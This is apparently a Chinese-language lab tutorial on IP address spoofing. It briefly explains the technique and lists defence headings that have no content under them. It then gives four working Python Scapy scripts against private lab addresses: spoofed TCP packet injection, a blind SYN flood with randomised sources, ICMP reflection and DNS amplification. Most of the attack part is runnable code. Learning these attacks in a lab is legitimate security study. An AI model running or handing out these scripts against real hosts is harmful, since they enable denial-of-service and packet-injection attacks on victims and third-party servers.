赞
踩
IP地址欺骗(IP Spoofing)是一种网络攻击技术,攻击者伪造其数据包的源IP地址,使其看起来像是从其他合法地址发送的。这种技术常用于各种攻击中,例如DDoS攻击、Man-in-the-Middle(MITM)攻击和拒绝服务(DoS)攻击等。
IP地址欺骗的核心在于攻击者能够创建带有伪造源IP地址的IP数据包。当目标系统接收到这些数据包时,会误以为它们来自合法的来源,从而执行攻击者预期的操作。由于IP协议本身并不验证数据包的源地址,这种攻击变得相对容易实现。
非盲欺骗(Non-blind Spoofing):
盲欺骗(Blind Spoofing):
反射攻击(Reflection Attack):
放大攻击(Amplification Attack):
反向路径转发(Reverse Path Forwarding, RPF):
访问控制列表(ACL):
入侵检测和防御系统(IDS/IPS):
网络防火墙:
网络分段:
受害者:192.168.134.148
在非盲欺骗中,攻击者能够看到目标系统和合法来源之间的通信,因此可以伪造合法IP地址并插入恶意数据包。
实验步骤:
设置环境:
捕获合法数据包:
插入伪造数据包:
- from scapy.all import *
- from scapy.layers.inet import TCP
-
-
- def non_blind_spoofing(target_ip, spoofed_ip, target_port, seq_num, ack_num):
- packet = IP(src=spoofed_ip, dst=target_ip) / TCP(sport=12345, dport=target_port, seq=seq_num, ack=ack_num, flags="PA") / b"Non-blind spoofing attack"
- send(packet)
-
-
- if __name__ == "__main__":
- target_ip = "192.168.134.148" # 目标系统的IP地址
- spoofed_ip = "192.168.1.1" # 伪造的源IP地址
- target_port = 80 # 目标系统开放的端口
- seq_num = 1000 # 合法通信中捕获的序列号
- ack_num = 1001 # 合法通信中捕获的确认号
- non_blind_spoofing(target_ip, spoofed_ip, target_port, seq_num, ack_num)
这里的话其实开两台主机通信效果最明显
在盲欺骗中,攻击者无法看到目标系统和合法来源之间的通信,只能猜测数据包的内容和序列号。这里使用ICMP协议进行简单的盲欺骗示例。
实验步骤:
- from scapy.all import *
- import random
- from scapy.layers.inet import TCP
-
-
- def blind_spoofing(target_ip, target_port):
- for _ in range(100): # 发送100个伪造的SYN数据包
- spoofed_ip = "192.168.1." + str(random.randint(1, 254))
- packet = IP(src=spoofed_ip, dst=target_ip) / TCP(sport=random.randint(1024, 65535), dport=target_port, flags="S")
- send(packet)
-
-
- if __name__ == "__main__":
- target_ip = "192.168.134.148" # 目标系统的IP地址
- target_port = 80 # 目标系统开放的端口
- blind_spoofing(target_ip, target_port)
反射攻击利用中间服务器(反射器)将攻击数据包反射回目标系统。攻击者伪造数据包的源IP地址,使其看起来像是来自目标系统,并将数据包发送到第三方服务器。
- from scapy.all import *
- from scapy.layers.inet import ICMP
-
-
- def reflection_attack(target_ip, reflector_ip):
- # 发送多个ICMP Echo请求包
- for _ in range(10): # 发送10个反射攻击包
- packet = IP(src=target_ip, dst=reflector_ip) / ICMP() / b"Reflection attack"
- send(packet)
- print(f"Sent packet to {reflector_ip} with spoofed source {target_ip}")
-
-
- if __name__ == "__main__":
- target_ip = "192.168.134.148" # 目标系统的IP地址
- reflector_ip = "192.168.134.147" # 反射器的IP地址,例如公共DNS服务器
- reflection_attack(target_ip, reflector_ip)
放大攻击利用能够产生大响应的数据包服务(如DNS和NTP),使目标系统收到大量响应数据包,从而导致资源耗尽。以下示例展示了如何通过伪造源IP地址来实现DNS放大攻击。
- from scapy.all import *
- from scapy.layers.dns import DNS, DNSQR
- from scapy.layers.inet import UDP
-
-
- def amplification_attack(target_ip, dns_server_ip):
- # 构造DNS查询请求
- dns_request = IP(src=target_ip, dst=dns_server_ip) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="www.hubstc.com.cn"))
- for _ in range(10): # 发送10个放大攻击包
- send(dns_request)
- print(f"Sent DNS request to {dns_server_ip} with spoofed source {target_ip}")
-
-
- if __name__ == "__main__":
- target_ip = "192.168.134.148" # 目标系统的IP地址
- dns_server_ip = "192.168.134.147" # 公共DNS服务器的IP地址
- amplification_attack(target_ip, dns_server_ip)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。